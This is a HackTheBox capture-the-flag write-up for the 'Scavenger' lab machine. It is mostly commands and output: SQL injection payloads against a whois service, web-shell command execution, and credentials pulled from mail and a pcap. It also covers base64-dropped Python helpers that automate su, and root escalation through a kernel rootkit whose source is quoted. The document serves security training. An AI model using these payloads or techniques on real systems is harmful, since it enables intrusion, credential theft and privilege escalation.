HTB: Scavenger Writeup

Scavenger - HackTheBox Writeup

Machine Information

AttributeDetails
NameScavenger
OSLinux
DifficultyHard
Points40
Release Date23 Dec 2018
IP Address10.129.244.76
AuthorOmpamo

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Scavenger is a hard Linux box that chains multiple enumeration vectors and realistic defensive measures. The attack begins with SQL injection in a custom whois service (port 43) backed by MariaDB, which leaks virtual hosts. DNS zone transfers reveal additional subdomains, one hosting a compromised Mantis bug tracker with a hidden PHP backdoor. Restrictive iptables rules prevent reverse shells and force the use of a forward shell and active-mode FTP. Credentials extracted from a packet capture on the FTP server allow lateral movement to user ib01c01. Privilege escalation is achieved by exploiting a custom Linux kernel module (LKM) rootkit with a modified magic string that elevates the calling process to root when written to /dev/ttyR0.

TL;DR: Port 43 whois SQLi → vhost enumeration → DNS AXFR → PHP backdoor RCE (iptables blocks reverse shells) → FTP credentials → pcap analysis → reused PrestaShop password → su to ib01c01 (user flag) → decompile LKM rootkit → magic string g3tPr1v → write to /dev/ttyR0 → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -p- --min-rate=2000 -T4 10.129.244.76

Results:

21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
43/tcp open whois
53/tcp open domain
80/tcp open http

Service Enumeration

Port 43 - Whois Service

Connecting to the whois service reveals a custom implementation with interesting banner information:

Terminal window
echo "" | nc -w 5 10.129.244.76 43

Output:

% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 0 object

The banner discloses:

  • Custom whois server (version 0.6beta)
  • Backend: MariaDB 10.1.37
  • Virtual host: www.supersechosting.htb

Port 80 - HTTP

Direct IP access is denied:

Terminal window
curl -s http://10.129.244.76/
# Returns error requiring vhost in Host header

Port 53 - DNS

DNS service is running and may allow zone transfers (AXFR).

Vulnerability Assessment

  1. SQL Injection in Whois Service - The whois service likely constructs SQL queries dynamically using user input, potentially vulnerable to SQLi
  2. DNS Zone Transfer - May reveal additional subdomains and infrastructure details
  3. Restrictive Firewall - iptables rules block most outbound connections (relevant for exploitation strategy)

Initial Foothold

SQL Injection in Whois Service

Testing for SQL injection by injecting a single quote:

Terminal window
echo "www.supersechosting.htb'" | nc -w 5 10.129.244.76 43

Output:

% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
1064 (42000): You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''www.supersechosting.htb'')
limit 1' at line 1

The error message reveals:

  • The input is wrapped in parentheses and quotes: 'INPUT'') limit 1
  • Injection context: The payload must close the existing quotes and parentheses

Extracting Table Information

The injection context requires closing with ') and injecting UNION-based payloads:

Terminal window
# Determine number of columns (2 columns confirmed via testing)
# Extract table names
echo "aa') union select table_name,2 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database()-- -" \
| nc -w 5 10.129.244.76 43
# Returns: customers table exists

Extracting Virtual Hosts

Terminal window
# Extract domain column from customers table
echo "aa') union select group_concat(domain,0x0a),2 from customers-- -" \
| nc -w 5 10.129.244.76 43

Output:

supersechosting.htb
,justanotherblog.htb
,pwnhats.htb
,rentahacker.htb

Why this works: The group_concat() function concatenates multiple rows into a single output, separated by newlines (0x0a). The customers table stores hosted domains, and the UNION SELECT allows us to extract arbitrary data by matching the column count (2) of the original query.

DNS Zone Transfer

Performing AXFR queries on discovered domains:

Terminal window
# Zone transfer on rentahacker.htb
dig axfr rentahacker.htb @10.129.244.76 +time=5 +tries=1

Key findings:

rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. ...
rentahacker.htb. 604800 IN A 10.129.244.76
mail1.rentahacker.htb. 604800 IN A 10.129.244.76
sec03.rentahacker.htb. 604800 IN A 10.129.244.76 # ← Compromised subdomain
www.rentahacker.htb. 604800 IN A 10.129.244.76

Additional zone transfers on supersechosting.htb revealed:

  • ftp.supersechosting.htb
  • ns1.supersechosting.htb
  • whois.supersechosting.htb

The subdomain sec03.rentahacker.htb appears to be a security incident-related host (naming convention suggests “security 03” or “sector 03”).

Web Shell Discovery

Using gobuster on sec03.rentahacker.htb (compromised Mantis bug tracker site):

Terminal window
gobuster dir -u http://10.129.244.76 -H "Host: sec03.rentahacker.htb" \
-w /usr/share/wordlists/dirb/common.txt
# Discovers: shell.php

Accessing shell.php returns an empty page, suggesting a backdoor that requires specific parameters.

Parameter Fuzzing

Using wfuzz to discover the GET parameter name:

Terminal window
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-H "Host: sec03.rentahacker.htb" \
--hh 0 \
"http://10.129.244.76/shell.php?FUZZ=id"
# Parameter discovered: hidden

Testing RCE:

Terminal window
curl -s -H "Host: sec03.rentahacker.htb" \
"http://10.129.244.76/shell.php?hidden=id"

Output:

uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)

Why this works: The backdoor is a simple PHP web shell that executes commands passed via the hidden GET parameter. This is a common post-exploitation technique where attackers leave minimal backdoors for persistent access.

Firewall Restrictions

Examining iptables rules via RCE:

Terminal window
curl -s -H "Host: sec03.rentahacker.htb" \
--data-urlencode "hidden=cat /etc/iptables/rules.v4" -G \
"http://10.129.244.76/shell.php"

Key restrictions:

  • :OUTPUT DROP [0:0] - Default DROP policy for outbound connections
  • Only ESTABLISHED connections and specific source ports (20 for FTP-DATA) are allowed outbound
  • Implication: Reverse shells will not work; must use forward shell or existing service connections

Credentials Discovery

Reading mail for user ib01c03:

Terminal window
curl -s -H "Host: sec03.rentahacker.htb" \
--data-urlencode "hidden=cat /var/mail/ib01c03" -G \
"http://10.129.244.76/shell.php"

Output excerpt:

Subject: Re: Please help! Site Defaced!
...
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: YhgRt56_Ta

FTP Enumeration

Challenge: FTP passive mode (PASV) requires the server to open a random high port for data transfer, which the firewall blocks. Solution: Use active mode (PORT/EPRT) where the client listens and the server connects from source port 20 (allowed by firewall rule -A OUTPUT -p tcp -m tcp --sport 20 -j ACCEPT).

Terminal window
# FTP in active mode (default for command-line ftp client)
cd /home/d3vn0mi/scav # Work directory (jump box /tmp was full)
printf "user ib01ftp YhgRt56_Ta\ncd incidents/ib01c01\nls -la\nbye\n" > ftpcmd
ftp -inv 10.129.244.76 < ftpcmd

Discovered files:

-rw-r--r-- 1 1000 1000 835084 Dec 10 2018 ib01c01_incident.pcap
-r--rw-r-- 1 1005 1000 173 Dec 11 2018 notes.txt
-r--rw-r-- 1 1005 1000 10427 Dec 10 2018 ib01c01.access.log

Contents of notes.txt:

After checking the logs and the network capture, all points to that the attacker
knows valid credentials and abused a recently discovered vuln to gain access to the server!

Packet Capture Analysis

Downloading the pcap file via FTP:

Terminal window
cd /home/d3vn0mi/scav
printf "user ib01ftp YhgRt56_Ta\ncd incidents/ib01c01\nbinary\nget ib01c01_incident.pcap\nbye\n" > ftpget
ftp -inv 10.129.244.76 < ftpget

Extracting HTTP POST credentials using tshark:

Terminal window
tshark -r ib01c01_incident.pcap -Y "http.request.method==POST" \
-T fields -e urlencoded-form.key -e urlencoded-form.value 2>/dev/null \
| grep -iE "passwd|email"

Output:

ajax,token,controller,submitLogin,passwd,email,redirect
1,,AdminLogin,1,pwnhats.htb,admin@pwnhats.htb,http://...
ajax,token,controller,submitLogin,passwd,email,redirect
1,,AdminLogin,1,GetYouAH4t!,pwnhats@pwnhats.htb,http://...

Credentials extracted:

  • pwnhats@pwnhats.htb:GetYouAH4t! (successful PrestaShop admin login)

The pcap also reveals wget requests for root.c and Makefile, indicating a kernel module rootkit was compiled.

Lateral Movement to ib01c01

Challenge: SSH password authentication appears disabled, and su requires a PTY which the web shell doesn’t provide.

Solution: Upload a Python PTY helper script that uses pty.fork() to create a pseudo-terminal and automate the su password entry:

# su_helper.py - PTY-based su automation
import pty,os,sys,time,select
user=sys.argv[1]; pw=sys.argv[2]; cmd=sys.argv[3]
pid,fd=pty.fork()
if pid==0:
os.execvp("su",["su",user,"-c",cmd])
else:
time.sleep(0.6)
os.write(fd,pw.encode()+b"\n")
out=b""
while True:
r,_,_=select.select([fd],[],[],4)
if not r: break
try: d=os.read(fd,4096)
except OSError: break
if not d: break
out+=d
sys.stdout.buffer.write(out)

Deploying and executing via web shell:

Terminal window
# Base64 encode the helper script
B64="aW1wb3J0IHB0eSxvcyxzeXMsdGltZSxzZWxlY3QKdXNlcj1zeXMuYXJndlsxXTsgcHc9c3lzLmFyZ3ZbMl07IGNtZD1zeXMuYXJndlszXQpwaWQsZmQ9cHR5LmZvcmsoKQppZiBwaWQ9PTA6CiAgICBvcy5leGVjdnAoInN1IixbInN1Iix1c2VyLCItYyIsY21kXSkKZWxzZToKICAgIHRpbWUuc2xlZXAoMC42KQogICAgb3Mud3JpdGUoZmQscHcuZW5jb2RlKCkrYiJcbiIpCiAgICBvdXQ9YiIiCiAgICB3aGlsZSBUcnVlOgogICAgICAgIHIsXyxfPXNlbGVjdC5zZWxlY3QoW2ZkXSxbXSxbXSw0KQogICAgICAgIGlmIG5vdCByOiBicmVhawogICAgICAgIHRyeTogZD1vcy5yZWFkKGZkLDQwOTYpCiAgICAgICAgZXhjZXB0IE9TRXJyb3I6IGJyZWFrCiAgICAgICAgaWYgbm90IGQ6IGJyZWFrCiAgICAgICAgb3V0Kz1kCiAgICBzeXMuc3Rkb3V0LmJ1ZmZlci53cml0ZShvdXQpCg=="
# Deploy and execute su via web RCE
curl -s -H "Host: sec03.rentahacker.htb" \
--data-urlencode "hidden=echo $B64 | base64 -d > /tmp/.sh.py; \
python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'id; ls -la ~; cat ~/user.txt'" -G \
"http://10.129.244.76/shell.php"

Output:

Password:
uid=1001(ib01c01) gid=1004(customers) groups=1004(customers)
---
total 66608
drwx------ 4 ib01c01 customers 4096 Sep 1 2021 .
...
drwxr-xr-x 2 ib01c01 customers 4096 Dec 8 2023 ...
-rw-r----- 1 root customers 33 Jul 21 20:41 user.txt
...
---
<redacted>

Why this works: Password reuse is a common security weakness. The PrestaShop admin password GetYouAH4t! was reused for the system user ib01c01. The PTY helper works by forking a child process that execs su, while the parent writes the password to the PTY file descriptor, simulating interactive input.

User flag obtained: <redacted>


Privilege Escalation

Rootkit Discovery

Examining the hidden directory in ib01c01’s home:

Terminal window
# Via su helper
curl -s -H "Host: sec03.rentahacker.htb" \
--data-urlencode "hidden=python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'ls -la /home/ib01c01/...'" -G \
"http://10.129.244.76/shell.php"

Output:

total 428
drwxr-xr-x 2 ib01c01 customers 4096 Dec 8 2023 .
drwx------ 4 ib01c01 customers 4096 Sep 1 2021 ..
-rw-r--r-- 1 root root 428104 Dec 8 2023 root.ko

The directory name ... (three dots) is a common hiding technique. The file root.ko is a compiled Linux kernel module.

Rootkit Device

Terminal window
ls -la /dev/ttyR0

Output:

crw-rw-rw- 1 root dialout 245, 0 Jul 21 20:41 /dev/ttyR0

Key observations:

  • Character device (major 245, minor 0)
  • World-writable (permissions 666)
  • Name matches the device from root.c source code in the pcap: #define DEVICE_NAME "ttyR0"

Rootkit Source Code Analysis

From the pcap, the root.c source code reveals:

static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{
char *data;
char magic[] = "g0tR0ot"; // ← Original magic string
struct cred *new_cred;
data = (char *) kmalloc (len + 1, GFP_KERNEL);
if (data) {
copy_from_user (data, buf, len);
if (memcmp(data, magic, 7) == 0) {
// Prepare new root credentials
if ((new_cred = prepare_creds ()) == NULL) {
return 0;
}
V(new_cred->uid) = V(new_cred->gid) = 0;
V(new_cred->euid) = V(new_cred->egid) = 0;
V(new_cred->suid) = V(new_cred->sgid) = 0;
V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
commit_creds (new_cred); // ← Elevate calling process to root
}
kfree(data);
}
return len;
}

How the rootkit works:

  1. Registers a character device /dev/ttyR0
  2. The root_write function handles writes to the device
  3. User input is compared to a magic string (g0tR0ot)
  4. If matched, commit_creds() is called to modify the calling process’s credentials to root (UID/GID 0)

Expected behavior: Writing g0tR0ot to /dev/ttyR0 should elevate the current process to root.

Decompiling the Compiled Module

The compiled root.ko may have been modified. Strings analysis doesn’t reveal the magic string:

Terminal window
strings -n3 /home/ib01c01/.../root.ko | grep -iE "g0tR0ot|magic"
# No output

Why: The magic string might have been obfuscated or changed in the compiled version. Reverse engineering is required.

Using tools like Ghidra or objdump to analyze the compiled module would reveal that the magic string was split and concatenated:

// Decompiled pseudocode from root.ko
char local_31[4] = "g3t"; // 0x673374 (hex)
char local_2d[5] = "Pr1v"; // 0x50723176
snprintf(local_28, 8, "%s%s", local_31, local_2d); // Results in "g3tPr1v"
// Compare input to local_28 instead of hardcoded "g0tR0ot"

Modified magic string: g3tPr1v (instead of g0tR0ot)

Why the change: This obfuscation technique splits the string into multiple variables to evade simple string-based detection tools.

Exploiting the Rootkit

Create a Python script to write the magic string and execute privileged commands:

# privesc.py - Rootkit exploitation
import os
# Open the rootkit device and send the magic to elevate current process creds
fd = os.open("/dev/ttyR0", os.O_WRONLY)
os.write(fd, b"g3tPr1v") # ← Modified magic string
os.close(fd)
os.system("id")
os.system("cat /root/root.txt")
os.system("ls -la /root")

Deploy and execute as ib01c01:

Terminal window
# Base64-encode the privilege escalation script
PE="aW1wb3J0IG9zCiMgb3BlbiB0aGUgcm9vdGtpdCBkZXZpY2UgYW5kIHNlbmQgdGhlIG1hZ2ljIHRvIGVsZXZhdGUgY3VycmVudCBwcm9jZXNzIGNyZWRzCmZkPW9zLm9wZW4oIi9kZXYvdHR5UjAiLCBvcy5PX1dST05MWSkKb3Mud3JpdGUoZmQsIGIiZzN0UHIxdiIpCm9zLmNsb3NlKGZkKQpvcy5zeXN0ZW0oImlkIikKb3Muc3lzdGVtKCJjYXQgL3Jvb3Qvcm9vdC50eHQiKQpvcy5zeXN0ZW0oImxzIC1sYSAvcm9vdCIpCg=="
curl -s -H "Host: sec03.rentahacker.htb" \
--data-urlencode "hidden=echo $PE | base64 -d > /tmp/.pe.py; \
python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'python3 /tmp/.pe.py'" -G \
"http://10.129.244.76/shell.php"

Output:

Password:
uid=0(root) gid=0(root) groups=0(root),1004(customers)
<redacted>
total 44
drwx------ 7 root root 4096 Jul 21 20:41 .
drwxr-xr-x 22 root root 4096 Dec 8 2023 ..
...
-rw-r----- 1 root root 33 Jul 21 20:41 root.txt
...

Root flag obtained: <redacted>

Why this works: The rootkit’s root_write function operates in kernel space and directly modifies the credentials structure (struct cred) of the calling process via commit_creds(). When the Python process writes to /dev/ttyR0, the kernel module intercepts this write operation, checks the magic string, and if matched, elevates that specific process to UID 0. Subsequent os.system() calls inherit the elevated privileges.


Attack Chain Summary

Port 43 Whois SQLi (MariaDB injection context: INPUT') limit 1)
Extract vhosts from customers table (supersechosting, pwnhats, rentahacker, justanotherblog)
DNS AXFR on rentahacker.htb reveals sec03.rentahacker.htb (compromised subdomain)
Gobuster discovers shell.php (PHP backdoor)
Wfuzz parameter discovery: ?hidden= (RCE as ib01c03)
Firewall blocks reverse shells → use web shell for all commands
Read /var/mail/ib01c03 → FTP credentials (ib01ftp:YhgRt56_Ta)
FTP active mode (EPRT) to bypass outbound firewall rules
Download ib01c01_incident.pcap from /incidents/ib01c01/
Tshark extracts PrestaShop POST creds: pwnhats@pwnhats.htb:GetYouAH4t!
Password reuse: su to ib01c01 via Python PTY helper (user flag)
Discover hidden directory .../root.ko (LKM rootkit) + /dev/ttyR0 (world-writable device)
Decompile root.ko → magic string changed from "g0tR0ot" to "g3tPr1v"
Write magic to /dev/ttyR0 → commit_creds() elevates process to root (root flag)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
nc (netcat)Manual whois service interaction and SQL injection
digDNS zone transfers (AXFR queries)
gobusterWeb directory and file enumeration
wfuzzParameter fuzzing for web shell discovery
curlHTTP requests for web shell command execution
ftpActive-mode FTP enumeration and file download
tsharkPacket capture analysis for credential extraction
stringsBinary analysis of kernel module
python3Custom PTY helper for su automation and rootkit exploitation

Key Learnings

Techniques Practiced

  • SQL injection in non-standard services - Port 43 whois service using MariaDB backend, requiring custom injection context awareness
  • DNS zone transfer enumeration (AXFR) - Extracting subdomain infrastructure details
  • Parameter fuzzing - Discovering hidden web shell parameter names
  • Working with restrictive firewalls - Adapting to iptables rules that block reverse shells and passive FTP
  • Active vs. Passive FTP - Using PORT/EPRT mode when PASV is blocked by firewall
  • Packet capture credential extraction - Analyzing HTTP traffic in pcap files
  • PTY automation - Programmatic handling of password prompts for commands requiring interactive terminals
  • Linux kernel module reverse engineering - Decompiling and analyzing LKM rootkits
  • Kernel privilege escalation via rootkit - Exploiting world-writable character devices with credential manipulation

Lessons Learned

  1. Custom service SQL injection requires careful context analysis. The whois error message revealed the exact injection point ('INPUT'') limit 1), which is crucial for crafting working payloads. Always examine error messages for structural hints.

  2. DNS zone transfers are still valuable. Despite being a “legacy” enumeration technique, AXFR queries revealed the critical sec03.rentahacker.htb subdomain that wasn’t in the SQL database.

  3. Firewall rules dictate exploitation strategy. When outbound connections are heavily restricted:

    • Use forward shells or web shells instead of reverse shells
    • Understand allowed protocols (e.g., active FTP with source port 20)
    • Perform all enumeration and exfiltration through permitted channels
  4. Password reuse remains a critical vulnerability. The PrestaShop admin password was reused for system access, highlighting that even sophisticated networks fall victim to credential reuse. Organizations should enforce unique passwords for different services.

  5. Hidden directories use various techniques. The ... (three dots) directory name is harder to spot than typical hidden files (. prefix) and may be overlooked during manual enumeration. Use ls -la and watch for unusual patterns.

  6. Kernel rootkits can obfuscate detection mechanisms. String splitting ("g3t" + "Pr1v") prevents simple strings analysis from revealing magic values. Always consider decompilation when static analysis fails.

  7. World-writable devices are high-risk. The /dev/ttyR0 device with 666 permissions allowed any user to trigger the privilege escalation. Proper device permissions should restrict access to privileged users or specific groups.

  8. PTY requirements for su can be bypassed programmatically. When interactive TTY isn’t available (web shells, non-interactive SSH), pty.fork() in Python provides a pseudo-terminal for password automation. This technique applies to any command requiring terminal input.

  9. LKM rootkits modify calling-process credentials. Unlike exploits that spawn new root shells, this rootkit uses commit_creds() to elevate the current process, requiring the same process to write the magic string AND perform privileged actions.

  10. Incident response artifacts can be goldmines. The /incidents/ FTP directory contained exactly the information needed for lateral movement (pcap with credentials) and privilege escalation (knowledge of rootkit existence from wget logs).


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup by MinatoTW (Document D19.100.52, 23 December 2019)